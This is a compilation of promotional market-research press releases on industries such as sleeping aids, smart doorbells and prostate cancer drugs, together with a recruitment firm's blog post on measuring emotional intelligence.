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The Asia-Pacific sleeping aids market size was $9.3 billion in 2015 and is forecasted to grow at a CAGR of 6.6% during the period 2016-2022. Various type of sleeping disorders such as sleep apnea, insomnia, restless legs syndrome, narcolepsy and sleep walking require some or the other type of sleeping aids intervention. Sleeping aids for sleep apnea held the largest share in the Asia-Pacific market in 2015, since an increasing number of people in the region suffer from breathing problems while sleeping.Explore Report at:The demand for sleeping aids has been rising in the region due to high consumption of sleeping pills owing to changing lifestyle, growing awareness about sleep disorders and other related problems, long working hours, and growing aging population. Some of the sleeping aids products available in the market include mattress & pillow, sleep laboratories, medication, sleep apnea devices and others. Amongst these, mattress & pillows held the highest share in the regional market, standing at 41% in 2015, since they have a direct impact on the sleeping condition of a person.Due to rising aging population in the region, more number of people have been dealing with sleep related problems, thus leading to increase in the sale of sleeping aids products. According to the United Nations (UN) publication, World Population Aging 2013, around 468.5 million people were aged 60 years and above in Asia-Pacific, out of which, about 57.5 million people were above 80 years of age.Explore Report Sample at:Due to increasing sleeping disorders, the players in the sleeping aids market in the region are investing more in research and development activities and development of new drugs. For instance, in October 2016, Eisai Co., Ltd. announced the initiation of a Phase II clinical study of its internally-discovered oral dual orexin receptor antagonist lemborexant in patients with Irregular Sleep-Wake Rhythm Disorder (ISWRD) and mild to moderate Alzheimer's disease (AD) dementia. Lemborexant is being jointly developed by Eisai and Purdue Pharma L.P. There is no known treatment approved for an irregular sleep-wake pattern in patients, therefor it is a condition with high unmet medical need, further leading to the growth of the sleeping aids market in the region.Some of the other key players operating in the Asia-Pacific sleeping aids industry include Sanofi S.A., Koninklijke Philips N.V., GlaxoSmithKline PLC, Merck & Co. Inc., Teva Pharmaceutical Industries Ltd., Takeda Pharmaceutical Company Limited, Compumedics Limited, Becton, Dickinson and Company, Eisai Co., Ltd. and Drive Medical Ltd.About P&S Market ResearchP&S Market Research is a global market research and consulting company. We provide market research reports, industry reports, business intelligence and research based consulting services across a range of industries.With the help of our professional corporate relations with various companies, our market research offers the most accurate market forecasting. Our analysts and consultants interact with leading companies of the concerned domain to substantiate every single data presented in our publication. Our research assists our client in identifying new and different windows of opportunity and frame informed and customized strategies for expansion in different regions.Contact:P&S Market ResearchManager  Client Partner347, 5th Ave. #1402New York City, NY - 10016Toll-free: +1-888-778-7886 (USA/Canada)Email: enquiry@psmarketresearch.comWeb:
Sinter HIP Furnace Market Size 2023 PVA TePla, ALD, Shimadzu, AIP, Toonney Alloy

Sinter HIP Furnace

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http://www.spiremarketresearch.com/global-sinter-hip-furnace-market-2017-size-share-research-demand-and-forecast-to-2022/#enquiry_for_buying

A market study  Global Sinter HIP Furnace Market  examines the performance of the Sinter HIP Furnace market Size 2017. It encloses an in-depth Research of the Sinter HIP Furnace market state and the competitive landscape globally. This report analyzes the potential of Sinter HIP Furnace market in the present and the future prospects from various angles in detail.Get Free Sample Of Report:The Global Sinter HIP Furnace Market 2017 report includes Sinter HIP Furnace market Size, Revenue, market Share, Sinter HIP Furnace industry volume, market Trends, Sinter HIP Furnace Growth aspects. A wide range of applications, Utilization ratio, Supply and demand analysis are also consist in the report.It shows manufacturing capacity, Sinter HIP Furnace Price during the Forecast period from 2017 to 2023.Manufacturers Analysis and Top Sellers of Global Sinter HIP Furnace Market Forecast 2017:1. PVA TePla2. ALD3. Shimadzu4. AIP5. Toonney Alloy6. Zhuzhou Ruideer7. CISRI8. AVS9. ACMEFirstly, the report covers the top Sinter HIP Furnace manufacturing industry players from regions like United States, EU, Japan, and China. It also characterizes the market based on geological regions.Browse Report :Further, the Sinter HIP Furnace report gives information on the company profile, market share and contact details along with value chain analysis of Sinter HIP Furnace industry, Sinter HIP Furnace industry rules and policies, circumstances driving the growth of the market and compulsion blocking the growth. Sinter HIP Furnace Market development scope and various business strategies are also mentioned in this report.The Sinter HIP Furnace research report includes the products that are currently in demand and available in the market along with their cost breakup, manufacturing volume, import/export scheme and contribution to the Sinter HIP Furnace market revenue worldwide.Finally, Sinter HIP Furnace market report gives you details about the market research findings and conclusion which helps you to develop profitable market strategies to gain competitive advantage.About Us:Spire Market Research is a leading market intelligence team which accredits and provides the reports of some of the top publishers in the field of technology industry. We are as a firm expertise in making extensive reports that cover all the necessary details about the market assessments such as major technological improvement in the industry.Contact Us5001 Spring Valley Road,Suite 400 East,Dallas, TX 75244United States
Smart Doorbell Market Size 2023 Legrand, Honeywell, Panasonic, Skebell, Ring, CHUI, Sandbox

Smart Doorbell

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http://www.spiremarketresearch.com/global-smart-doorbell-market-2017-size-share-research-demand-and-forecast-to-2022/

A market study  Global Smart Doorbell Market  examines the performance of the Smart Doorbell market Size 2017. It encloses an in-depth Research of the Smart Doorbell market state and the competitive landscape globally. This report analyzes the potential of Smart Doorbell market in the present and the future prospects from various angles in detail.Get Free Sample Of Report:The Global Smart Doorbell Market 2017 report includes Smart Doorbell market Size, Revenue, market Share, Smart Doorbell industry volume, market Trends, Smart Doorbell Growth aspects. A wide range of applications, Utilization ratio, Supply and demand analysis are also consist in the report.It shows manufacturing capacity, Smart Doorbell Price during the Forecast period from 2017 to 2023.Manufacturers Analysis and Top Sellers of Global Smart Doorbell Market Forecast 2017:1. Legrand2. Honeywell3. Panasonic4. Skebell5. Ring6. CHUI7. Sandbox8. Kivos9. DNAKE10. Guangdong Roule Electronics11. Guangdong Anjubao12. Leelen13. AdvanteFirstly, the report covers the top Smart Doorbell manufacturing industry players from regions like United States, EU, Japan, and China. It also characterizes the market based on geological regions.Browse Report :Further, the Smart Doorbell report gives information on the company profile, market share and contact details along with value chain analysis of Smart Doorbell industry, Smart Doorbell industry rules and policies, circumstances driving the growth of the market and compulsion blocking the growth. Smart Doorbell Market development scope and various business strategies are also mentioned in this report.The Smart Doorbell research report includes the products that are currently in demand and available in the market along with their cost breakup, manufacturing volume, import/export scheme and contribution to the Smart Doorbell market revenue worldwide.Finally, Smart Doorbell market report gives you details about the market research findings and conclusion which helps you to develop profitable market strategies to gain competitive advantage.About Us:Spire Market Research is a leading market intelligence team which accredits and provides the reports of some of the top publishers in the field of technology industry. We are as a firm expertise in making extensive reports that cover all the necessary details about the market assessments such as major technological improvement in the industry.Contact Us5001 Spring Valley Road,Suite 400 East,Dallas, TX 75244United States
Side Shaft Market Size 2023 GKN, NTN, Hyundai-wia, Nexteer, KOFCO, Wanxiang, Neapco

Side Shaft

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http://www.spiremarketresearch.com/global-side-shaft-market-2017-size-share-research-demand-and-forecast-to-2022/

A market study  Global Side Shaft Market  examines the performance of the Side Shaft market Size 2017. It encloses an in-depth Research of the Side Shaft market state and the competitive landscape globally. This report analyzes the potential of Side Shaft market in the present and the future prospects from various angles in detail.Get Free Sample Of Report:The Global Side Shaft Market 2017 report includes Side Shaft market Size, Revenue, market Share, Side Shaft industry volume, market Trends, Side Shaft Growth aspects. A wide range of applications, Utilization ratio, Supply and demand analysis are also consist in the report.It shows manufacturing capacity, Side Shaft Price during the Forecast period from 2017 to 2023.Manufacturers Analysis and Top Sellers of Global Side Shaft Market Forecast 2017:1. GKN2. NTN3. Hyundai-wia4. Nexteer5. KOFCO6. Wanxiang7. Neapco8. JTEKT9. GuanshengFirstly, the report covers the top Side Shaft manufacturing industry players from regions like United States, EU, Japan, and China. It also characterizes the market based on geological regions.Browse Report :Further, the Side Shaft report gives information on the company profile, market share and contact details along with value chain analysis of Side Shaft industry, Side Shaft industry rules and policies, circumstances driving the growth of the market and compulsion blocking the growth. Side Shaft Market development scope and various business strategies are also mentioned in this report.The Side Shaft research report includes the products that are currently in demand and available in the market along with their cost breakup, manufacturing volume, import/export scheme and contribution to the Side Shaft market revenue worldwide.Finally, Side Shaft market report gives you details about the market research findings and conclusion which helps you to develop profitable market strategies to gain competitive advantage.About Us:Spire Market Research is a leading market intelligence team which accredits and provides the reports of some of the top publishers in the field of technology industry. We are as a firm expertise in making extensive reports that cover all the necessary details about the market assessments such as major technological improvement in the industry.Contact Us5001 Spring Valley Road,Suite 400 East,Dallas, TX 75244United States
Micro Bioreactors Market Size 2023 Pall Corporation, Sartorius, Eppendorf, M2p-labs

Micro Bioreactors

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A market study  Global Micro Bioreactors Market  examines the performance of the Micro Bioreactors market Size 2017. It encloses an in-depth Research of the Micro Bioreactors market state and the competitive landscape globally. This report analyzes the potential of Micro Bioreactors market in the present and the future prospects from various angles in detail.Get Free Sample Of Report:The Global Micro Bioreactors Market 2017 report includes Micro Bioreactors market Size, Revenue, market Share, Micro Bioreactors industry volume, market Trends, Micro Bioreactors Growth aspects. A wide range of applications, Utilization ratio, Supply and demand analysis are also consist in the report.It shows manufacturing capacity, Micro Bioreactors Price during the Forecast period from 2017 to 2023.Manufacturers Analysis and Top Sellers of Global Micro Bioreactors Market Forecast 2017:1. Pall Corporation2. Sartorius3. Eppendorf4. M2p-labs5. Applikon Biotechnology6. Chemtrix7. CerCell8. INFORS HT9. LAVAL LAB10. PBS BiotechFirstly, the report covers the top Micro Bioreactors manufacturing industry players from regions like United States, EU, Japan, and China. It also characterizes the market based on geological regions.Browse Report :Further, the Micro Bioreactors report gives information on the company profile, market share and contact details along with value chain analysis of Micro Bioreactors industry, Micro Bioreactors industry rules and policies, circumstances driving the growth of the market and compulsion blocking the growth. Micro Bioreactors Market development scope and various business strategies are also mentioned in this report.The Micro Bioreactors research report includes the products that are currently in demand and available in the market along with their cost breakup, manufacturing volume, import/export scheme and contribution to the Micro Bioreactors market revenue worldwide.Finally, Micro Bioreactors market report gives you details about the market research findings and conclusion which helps you to develop profitable market strategies to gain competitive advantage.About Us:Spire Market Research is a leading market intelligence team which accredits and provides the reports of some of the top publishers in the field of technology industry. We are as a firm expertise in making extensive reports that cover all the necessary details about the market assessments such as major technological improvement in the industry.Contact Us5001 Spring Valley Road,Suite 400 East,Dallas, TX 75244United States
Maritime Fenders Market Size 2023 Trelleborg, Bridgestone, Sumitomo Rubber, Yokohama, Hutchinson

Maritime Fenders

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http://www.spiremarketresearch.com/global-maritime-fenders-market-2017-size-share-research-demand-and-forecast-to-2022/#enquiry_for_buying

A market study  Global Maritime Fenders Market  examines the performance of the Maritime Fenders market Size 2017. It encloses an in-depth Research of the Maritime Fenders market state and the competitive landscape globally. This report analyzes the potential of Maritime Fenders market in the present and the future prospects from various angles in detail.Get Free Sample Of Report:The Global Maritime Fenders Market 2017 report includes Maritime Fenders market Size, Revenue, market Share, Maritime Fenders industry volume, market Trends, Maritime Fenders Growth aspects. A wide range of applications, Utilization ratio, Supply and demand analysis are also consist in the report.It shows manufacturing capacity, Maritime Fenders Price during the Forecast period from 2017 to 2023.Manufacturers Analysis and Top Sellers of Global Maritime Fenders Market Forecast 2017:1. Trelleborg2. Bridgestone3. Sumitomo Rubber4. Maritime International5. Yokohama6. Hutchinson7. IRM8. Longwood9. Noreq10. Anchor Marine11. JIER Marine12. Taihong13. Tonly14. Qingdao Tiandun15. Evergreen16. Jiangsu Shelter17. Zhaoyuan Talent Plastic18. Jiangyin HengshengFirstly, the report covers the top Maritime Fenders manufacturing industry players from regions like United States, EU, Japan, and China. It also characterizes the market based on geological regions.Browse Report :Further, the Maritime Fenders report gives information on the company profile, market share and contact details along with value chain analysis of Maritime Fenders industry, Maritime Fenders industry rules and policies, circumstances driving the growth of the market and compulsion blocking the growth. Maritime Fenders Market development scope and various business strategies are also mentioned in this report.The Maritime Fenders research report includes the products that are currently in demand and available in the market along with their cost breakup, manufacturing volume, import/export scheme and contribution to the Maritime Fenders market revenue worldwide.Finally, Maritime Fenders market report gives you details about the market research findings and conclusion which helps you to develop profitable market strategies to gain competitive advantage.About Us:Spire Market Research is a leading market intelligence team which accredits and provides the reports of some of the top publishers in the field of technology industry. We are as a firm expertise in making extensive reports that cover all the necessary details about the market assessments such as major technological improvement in the industry.Contact Us5001 Spring Valley Road,Suite 400 East,Dallas, TX 75244United States
Global USB Cameras Market Professional Survey Report 2017

Global USB Cameras Market Professional Survey Report 2017

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The Global USB Cameras Market Professional Survey Report 2017 is a professional and in-depth study on the current state of the USB Cameras industry.Firstly, the report provides a basic overview of the industry including definitions, classifications, applications and industry chain structure. The USB Cameras Industry analysis is provided for the international market including development history, competitive landscape analysis, and major regions development status.Secondly, development policies and plans are discussed as well as manufacturing processes and cost structures. This report also states import/export, supply and consumption figures as well as cost, price, revenue and gross margin by regions (United States, EU, China and Japan), and other regions can be added.Then, the report focuses on global major leading industry players with information such as company profiles, product picture and specification, capacity, production, price, cost, revenue and contact information. Upstream raw materials, equipment and downstream consumers analysis is also carried out. Whats more, the USB Cameras industry development trends and marketing channels are analyzed.Finally, the feasibility of new investment projects is assessed, and overall research conclusions are offered.In a word, the report provides major statistics on the state of the industry and is a valuable source of guidance and direction for companies and individuals interested in the market.This report studies USB Cameras in Global market, especially in North America, China, Europe, Southeast Asia, Japan and India, with production, revenue, consumption, import and export in these regions, from 2012 to 2016, and forecast to 2022.This report focuses on top manufacturers in global market, with production, price, revenue and market share for each manufacturer, coveringLogitechCanonFujifilmAndor TechnologyOlympusSamsungAilipu TechnologySentechLumeneraPixeLINK (a Navitar Company)FLIREOBaslerLeica CameraXimeaSonyNETNikonAllied VisionIDS (Imaging Development Systems)On the basis of product, this report displays the production, revenue, price, market share and growth rate of each type, primarily split intoUSB 2.0 CamerasUSB 3.0 CamerasOthersBy Application, the market can be split intoConsemer ElectronicsAutomotiveIndustrialMilitaryOthersBy Regions, this report covers (we can add the regions/countries as you want)North AmericaChinaEuropeSoutheast AsiaJapanIndiaAsk a full professional report sample or make an order, please Click here:Table of contents:1 Industry Overview of USB Cameras2 Manufacturing Cost Structure Analysis of USB Cameras3 Technical Data and Manufacturing Plants Analysis of USB Cameras4 Global USB Cameras Overall Market Overview5 USB Cameras Regional Market Analysis6 Global 2012-2017E USB Cameras Segment Market Analysis (by Type)7 Global 2012-2017E USB Cameras Segment Market Analysis (by Application)8 Major Manufacturers Analysis of USB Cameras9 Development Trend of Analysis of USB Cameras Market10 USB Cameras Marketing Type Analysis11 Consumers Analysis of USB Cameras12 Conclusion of the Global USB Cameras Market Professional Survey Report 2017Related Reports:Europe USB Cameras Market Professional Survey Report 2017China USB Cameras Market Professional Survey Report 2017India USB Cameras Market Professional Survey Report 2017Korea USB Cameras Market Professional Survey Report 2017USA USB Cameras Market Professional Survey Report 2017Japan USB Cameras Market Professional Survey Report 2017List of Tables and Figures:Figure Picture of USB CamerasTable Product Specifications of USB CamerasTable Classification of USB CamerasFigure Global Production Market Share of USB Cameras by Type in 2016Figure Femoral PictureTable Major Manufacturers of FemoralContact Details:Company Name: QYResearch CO.,LIMITED | focus on Market Survey and ResearchTina| Sales ManagersTel: 0086-20-22093278(CN)Email: sales@qyresearcheurope.com or tinaning@qyresearch.comWeb:QYResearch established in 2007, focus on custom research, management consulting, IPO consulting, industry chain research, data base cand seminar services. The company owned a large basic data base (such as National Bureau of statistics database, Customs import and export database, Industry Association Database etc), experts resources (included energy automotive chemical medical ICT consumer goods etc industries experts who own more than 10 years experiences on marketing or R&D), professional survey team (the team member with more than 3 years market survey experience and more than 2 years depth expert interview experience),Excellent data analysis team (SPSS statistics and PPT graphics process team); QYResearch has always pursuit product quality, adhere to the quality is the soul of business.Room 2901 VILI International Building No.167 Linhe West Road
Warehouse Management Systems Market Size 2023 Aldata, Appolis, Argos Software, Navitas, Navitas

Warehouse Management Systems

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A market study  Global Warehouse Management Systems Market  examines the performance of the Warehouse Management Systems market Size 2017. It encloses an in-depth Research of the Warehouse Management Systems market state and the competitive landscape globally. This report analyzes the potential of Warehouse Management Systems market in the present and the future prospects from various angles in detail.Get Free Sample Of Report:The Global Warehouse Management Systems Market 2017 report includes Warehouse Management Systems market Size, Revenue, market Share, Warehouse Management Systems industry volume, market Trends, Warehouse Management Systems Growth aspects. A wide range of applications, Utilization ratio, Supply and demand analysis are also consist in the report.It shows manufacturing capacity, Warehouse Management Systems Price during the Forecast period from 2017 to 2023.Manufacturers Analysis and Top Sellers of Global Warehouse Management Systems Market Forecast 2017:1. AFS Technologies2. AGI Worldwide3. ASC4. Advanced Systems Consultants.5. Aldata6. Appolis7. Argos Software8. Navitas9. Automation Associates10. Navitas11. BFC Software12. Bloxx IT Solutions13. Boon Software14. Cadre Technologies15. Camelot 3PL Software16. Deposco17. HAL Systems18. HighJump Software19. Infor20. OracleFirstly, the report covers the top Warehouse Management Systems manufacturing industry players from regions like United States, EU, Japan, and China. It also characterizes the market based on geological regions.Browse Report :Further, the Warehouse Management Systems report gives information on the company profile, market share and contact details along with value chain analysis of Warehouse Management Systems industry, Warehouse Management Systems industry rules and policies, circumstances driving the growth of the market and compulsion blocking the growth. Warehouse Management Systems Market development scope and various business strategies are also mentioned in this report.The Warehouse Management Systems research report includes the products that are currently in demand and available in the market along with their cost breakup, manufacturing volume, import/export scheme and contribution to the Warehouse Management Systems market revenue worldwide.Finally, Warehouse Management Systems market report gives you details about the market research findings and conclusion which helps you to develop profitable market strategies to gain competitive advantage.About Us:Spire Market Research is a leading market intelligence team which accredits and provides the reports of some of the top publishers in the field of technology industry. We are as a firm expertise in making extensive reports that cover all the necessary details about the market assessments such as major technological improvement in the industry.Contact Us5001 Spring Valley Road,Suite 400 East,Dallas, TX 75244United States
Master Data Management Market Size 2023 SAP AG, SAS Institute, IBM Corporation

Master Data Management

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A market study  Global Master Data Management Market  examines the performance of the Master Data Management market Size 2017. It encloses an in-depth Research of the Master Data Management market state and the competitive landscape globally. This report analyzes the potential of Master Data Management market in the present and the future prospects from various angles in detail.Get Free Sample Of Report:The Global Master Data Management Market 2017 report includes Master Data Management market Size, Revenue, market Share, Master Data Management industry volume, market Trends, Master Data Management Growth aspects. A wide range of applications, Utilization ratio, Supply and demand analysis are also consist in the report.It shows manufacturing capacity, Master Data Management Price during the Forecast period from 2017 to 2023.Manufacturers Analysis and Top Sellers of Global Master Data Management Market Forecast 2017:1. SAP AG2. SAS Institute, Inc.3. IBM Corporation4. Oracle Corporation.5. Tibco Software, Inc6. Informatica Corporation7. Teradata Corporation8. Orchestra Networks9. Riversand Technologies, Inc.10. Talend11. SyncforceFirstly, the report covers the top Master Data Management manufacturing industry players from regions like United States, EU, Japan, and China. It also characterizes the market based on geological regions.Browse Report :Further, the Master Data Management report gives information on the company profile, market share and contact details along with value chain analysis of Master Data Management industry, Master Data Management industry rules and policies, circumstances driving the growth of the market and compulsion blocking the growth. Master Data Management Market development scope and various business strategies are also mentioned in this report.The Master Data Management research report includes the products that are currently in demand and available in the market along with their cost breakup, manufacturing volume, import/export scheme and contribution to the Master Data Management market revenue worldwide.Finally, Master Data Management market report gives you details about the market research findings and conclusion which helps you to develop profitable market strategies to gain competitive advantage.About Us:Spire Market Research is a leading market intelligence team which accredits and provides the reports of some of the top publishers in the field of technology industry. We are as a firm expertise in making extensive reports that cover all the necessary details about the market assessments such as major technological improvement in the industry.Contact Us5001 Spring Valley Road,Suite 400 East,Dallas, TX 75244United States
Prostate Cancer Drugs Market Size 2023 AbbVie, Astra Zeneca, Sanofi, Merck Group, Novartis, Amgen

Prostate Cancer Drugs

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A market study  Global Prostate Cancer Drugs Market  examines the performance of the Prostate Cancer Drugs market Size 2017. It encloses an in-depth Research of the Prostate Cancer Drugs market state and the competitive landscape globally. This report analyzes the potential of Prostate Cancer Drugs market in the present and the future prospects from various angles in detail.Get Free Sample Of Report:The Global Prostate Cancer Drugs Market 2017 report includes Prostate Cancer Drugs market Size, Revenue, market Share, Prostate Cancer Drugs industry volume, market Trends, Prostate Cancer Drugs Growth aspects. A wide range of applications, Utilization ratio, Supply and demand analysis are also consist in the report.It shows manufacturing capacity, Prostate Cancer Drugs Price during the Forecast period from 2017 to 2023.Manufacturers Analysis and Top Sellers of Global Prostate Cancer Drugs Market Forecast 2017:1. AbbVie2. Astellas Pharma3. Astra Zeneca4. Johnson & Johnson5. Sanofi6. GlaxoSmithKline7. Merck Group8. Novartis9. Amgen10. Bayer HealthCare11. Ferring Pharmaceutical12. Janssen Pharmaceuticals13. Endo Pharmaceuticals14. BMS15. Takeda Pharmaceuticals16. Northwest Biotherapeutics17. Teva Pharmaceutical18. Boehringer Ingelheim19. Foresee Pharmaceuticals20. Tokai Pharmaceuticals21. Spectrum PharmaceuticalsFirstly, the report covers the top Prostate Cancer Drugs manufacturing industry players from regions like United States, EU, Japan, and China. It also characterizes the market based on geological regions.Browse Report :Further, the Prostate Cancer Drugs report gives information on the company profile, market share and contact details along with value chain analysis of Prostate Cancer Drugs industry, Prostate Cancer Drugs industry rules and policies, circumstances driving the growth of the market and compulsion blocking the growth. Prostate Cancer Drugs Market development scope and various business strategies are also mentioned in this report.The Prostate Cancer Drugs research report includes the products that are currently in demand and available in the market along with their cost breakup, manufacturing volume, import/export scheme and contribution to the Prostate Cancer Drugs market revenue worldwide.Finally, Prostate Cancer Drugs market report gives you details about the market research findings and conclusion which helps you to develop profitable market strategies to gain competitive advantage.About Us:Spire Market Research is a leading market intelligence team which accredits and provides the reports of some of the top publishers in the field of technology industry. We are as a firm expertise in making extensive reports that cover all the necessary details about the market assessments such as major technological improvement in the industry.Contact Us5001 Spring Valley Road,Suite 400 East,Dallas, TX 75244United States
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Luxury E-tailing Market Size 2023 Nordstrom, Ralph Lauren, Amara, Barneys, DellOglio, Harrods

Luxury E-tailing market

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A market study  Global Luxury E-tailing Market  examines the performance of the Luxury E-tailing market Size 2017. It encloses an in-depth Research of the Luxury E-tailing market state and the competitive landscape globally. This report analyzes the potential of Luxury E-tailing market in the present and the future prospects from various angles in detail.Get Free Sample Of Report:The Global Luxury E-tailing Market 2017 report includes Luxury E-tailing market Size, Revenue, market Share, Luxury E-tailing industry volume, market Trends, Luxury E-tailing Growth aspects. A wide range of applications, Utilization ratio, Supply and demand analysis are also consist in the report.It shows manufacturing capacity, Luxury E-tailing Price during the Forecast period from 2017 to 2023.Manufacturers Analysis and Top Sellers of Global Luxury E-tailing Market Forecast 2017:1. Neiman Marcus2. Net-A-Porter3. Nordstrom4. Ralph Lauren5. Saks Fifth Avenue6. Amara7. Barneys8. Charms and Chain9. DellOglio10. Exclusively.com11. Harrods12. Hudson Bay13. Luisa-Via-Roma14. Montaigne Market15. YooxFirstly, the report covers the top Luxury E-tailing manufacturing industry players from regions like United States, EU, Japan, and China. It also characterizes the market based on geological regions.Browse Report :Further, the Luxury E-tailing report gives information on the company profile, market share and contact details along with value chain analysis of Luxury E-tailing industry, Luxury E-tailing industry rules and policies, circumstances driving the growth of the market and compulsion blocking the growth. Luxury E-tailing Market development scope and various business strategies are also mentioned in this report.The Luxury E-tailing research report includes the products that are currently in demand and available in the market along with their cost breakup, manufacturing volume, import/export scheme and contribution to the Luxury E-tailing market revenue worldwide.Finally, Luxury E-tailing market report gives you details about the market research findings and conclusion which helps you to develop profitable market strategies to gain competitive advantage.About Us:Spire Market Research is a leading market intelligence team which accredits and provides the reports of some of the top publishers in the field of technology industry. We are as a firm expertise in making extensive reports that cover all the necessary details about the market assessments such as major technological improvement in the industry.Contact Us5001 Spring Valley Road,Suite 400 East,Dallas, TX 75244United States
Passenger Information System Market Size 2023 Alstom, Cisco, Hitachi, Siemens Ag, Thales Group

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A market study  Global Passenger Information System Market  examines the performance of the Passenger Information System market Size 2017. It encloses an in-depth Research of the Passenger Information System market state and the competitive landscape globally. This report analyzes the potential of Passenger Information System market in the present and the future prospects from various angles in detail.Get Free Sample Of Report:The Global Passenger Information System Market 2017 report includes Passenger Information System market Size, Revenue, market Share, Passenger Information System industry volume, market Trends, Passenger Information System Growth aspects. A wide range of applications, Utilization ratio, Supply and demand analysis are also consist in the report.It shows manufacturing capacity, Passenger Information System Price during the Forecast period from 2017 to 2023.Manufacturers Analysis and Top Sellers of Global Passenger Information System Market Forecast 2017:1. Advantech Corporation2. Alstom3. Cisco4. Cubic Corporation5. Ge Transportation6. Hitachi7. Huawei Technologies8. Siemens Ag9. TE Connectivity10. Thales GroupFirstly, the report covers the top Passenger Information System manufacturing industry players from regions like United States, EU, Japan, and China. It also characterizes the market based on geological regions.Browse Report :Further, the Passenger Information System report gives information on the company profile, market share and contact details along with value chain analysis of Passenger Information System industry, Passenger Information System industry rules and policies, circumstances driving the growth of the market and compulsion blocking the growth. Passenger Information System Market development scope and various business strategies are also mentioned in this report.The Passenger Information System research report includes the products that are currently in demand and available in the market along with their cost breakup, manufacturing volume, import/export scheme and contribution to the Passenger Information System market revenue worldwide.Finally, Passenger Information System market report gives you details about the market research findings and conclusion which helps you to develop profitable market strategies to gain competitive advantage.About Us:Spire Market Research is a leading market intelligence team which accredits and provides the reports of some of the top publishers in the field of technology industry. We are as a firm expertise in making extensive reports that cover all the necessary details about the market assessments such as major technological improvement in the industry.Contact Us5001 Spring Valley Road,Suite 400 East,Dallas, TX 75244United States
How to measure EQ accurately?

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Being born long after IQ but Emotional Intelligence (EQ) has become the current trend for self-development. One of many reasons that put EQ in the hearts of so many people is its accurate reflection of humans social nature. High IQ can help a person think and reason quickly, but high EQ will support people connect and cooperate for sustainable development because a high EQ person is able to build effective reciprocal relationships due to his/her ability to manage own emotions and others.If you consider having relationships are not important elements in your pursuit of career success, you dont need to pay any attention to EQ nor its practice. In fact, how many percent of your success are solely based on your efforts, and how many percent are based on others support?Think of a time when you failed, what were the reasons? Would it have been better if you had been alone or had had support from others?Hope that you've found your own answer to the question "How important EQ/Relationship is to the success of your career?". It is without a doubt that EQ plays an important role in career success. There are more and more books, materials and courses about EQ as the demand for potential unlock and ability nurturing become a norm. But appearances can be deceiving. Beware of the common misconceptions related to EQ.IS IT POSSIBLE TO TEST ONES EQ?Let us look at 2 examples:Example 1:Choose your answer for this statement: I avoid mentioning sensitive or negative topics.1. Totally disagree2. Somewhat disagree3. Neither disagree nor agree4. Somewhat agree5. Totally agreeExample 2:You are in a heated argument with a friend. You will:1. Argue till the end because you know you are right2. Stop for a while to keep calm and continue the discussion3. Skip it and change the topic because you dont want to argue with friends4. Listen to your friends opinion and try to express your reasoning to convince him/herObviously, your choices might easily be influenced by what you regard as the most favourable or the most socially acceptable. There are undoubtedly people who always speak their mind, but it doesnt necessarily mean the truth. What you think to be right is not always right, and such mismatch even screws up everything, especially when you do not own a high level of self awareness. Hence, even if a person asserts to have high EQ, it may very well be the opposite.So is there a way to accurrately measure EQ? Yes, by compiling the opinions of all people around you who frequently come into contact with you and are affected by your actions and emotions, be it positive or negative. You cant find the accurate answer for the question Do I always consider others emotions and feelings?, but they can. The bigger the gaps between your and their perspectives, the more alarming your situation is!HIGHER EQ EQUALS HIGHER SUCCESS?There are many studies showing the positive correlation between EQ and career success. However, considering EQ the key factor leading to success is one of the most detrimental misconceptions.To have a complete picture of a person, we need to have insights of their 3 areas: IQ (or the ability of logical thinking and reasoning), EQ (or the ability of social connection and building relationship) and personality. Different people with varying level of IQ and personality will express EQ differently. You need to take into account the context, culture and other external factors to conclude whether that expression is appropriate. EQ is considered a comprehensive set of skills about social interaction and connection, hence its practiceability. It is also easier to see changes after an EQ improvement course than an IQ or personality changing programme. And you must persevere and strive for the better. EQ or relationships only help you speed up, but it doesnt guarantee where your road leads to.Everyone needs to acknowledge EQs role in success, but it is no less important to realise the fact that having EQ is not equivalent to having success, especially when we havent found a highly accurate way of measuring EQ. EQ is not the panacea that cures every sicknesses and turns failures into successes. EQ is only one of many tools to help you develop and unlock more doors to success. Thats it! And tools arent good or evil, only your intentions are. To make sure you are using the EQ tool for a good purpose, you should first learn how to best apply EQ for your development. Stay tuned for more entries about this interesting topic from TRG Talent!ABOUT TRG INTERNATIONALTRG International is an IT, Talent and F&B company. We help people and businesses to shine. We help people be the best they can possibly be by selecting the right people for the right job and developing them to their full potential. We help companies by providing an IT solution that works quietly and brilliantly in the background, freeing them up to focus on their core and not having to worry about their IT systems. We do this for more than 1,000 clients in 80 countries. Learn more at:Contact-Details: Ngoc DoanPR Communication Officer2nd Floor, 145  147 Nguyen Co Thach Street, An Loi Dong Ward, District 2Ho Chi Minh City, Vietnamngoc.doan@trginternaltional.com2nd Floor, 145  147 Nguyen Co Thach Street, An Loi Dong Ward, District 2
Mobile Dental Unit Market latest trends, analysis, forecasts and market overview in Medical field according to New Research Report 2022

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The research lists key companies operating in this United States Market and also highlights the key changing trends adopted by the companies to maintain their dominance. By using SWOT analysis and Porters five force analysis tools, the strengths, weaknesses, opportunities, and threats of key companies are mentioned in the report. All leading players in this United States Market are profiled with details such as product types, business overview, sales, manufacturing base, competitors, applications, and specifications.Get this market research at discounted price now @A Mobile Dental Unit is a masticatory unit consisting of a single tooth and its adjacent tissues or a mobile or fixed piece of equipment, usually complete with chair, light, engine, and other accessories or utilities necessary for dental examinations or operations. The report, titled United States Mobile Dental Unit Market defines about its present scenario and briefs readers about its products, applications, and specifications.For a detailed competitive analysis, the United States Mobile Dental Unit Market is segmented on the basis of region, application, and product type. By region, the United States Mobile Dental Unit Market is divided into Europe, United States, North America, Middle East & Africa, and Latin America. Key companies are focusing on spreading their products and services across various regions. Additionally, acquisitions and mergers from some of the leading organizations are on the cards in the near future. Efforts are being taken by most of the companies to improve their research and development activities to introduce innovations. Governments of many nations are also contributing towards the growth of the United States Market by increasing their funding. All these factors are predicted to propel the United States Mobile Dental Unit Market.Marketing strategies and Marketing channels adopted by key companies are highlighted in this report. Companies are focusing on improving direct & indirect Marketing strategies, develop various Marketing channels, brand strategies, and pricing strategies. With this, the key companies will get a chance to focus on adopting the new trends and innovations in Mobile Dental Unit Market. Additionally, by merging with startups, leading companies are aiming to maintain their dominance in the United States Market.Get Sample Copy of This Report now @Innovations have helped key companies to introduce new ways of developing and advancing this Market. With the development and the introduction of tools, more concepts are able to create growth opportunities in the Market. Factor such as risks and technological progress are also highlighted in the report. Importance is given to changing consumer needs and customer preferences. The analysts also focus on changing trends in a political and economic environment that might affect the United States Market. As per the findings of the report, the changing rules and regulations of governments of many nations are predicted to affect the growth of the United States Mobile Dental Unit 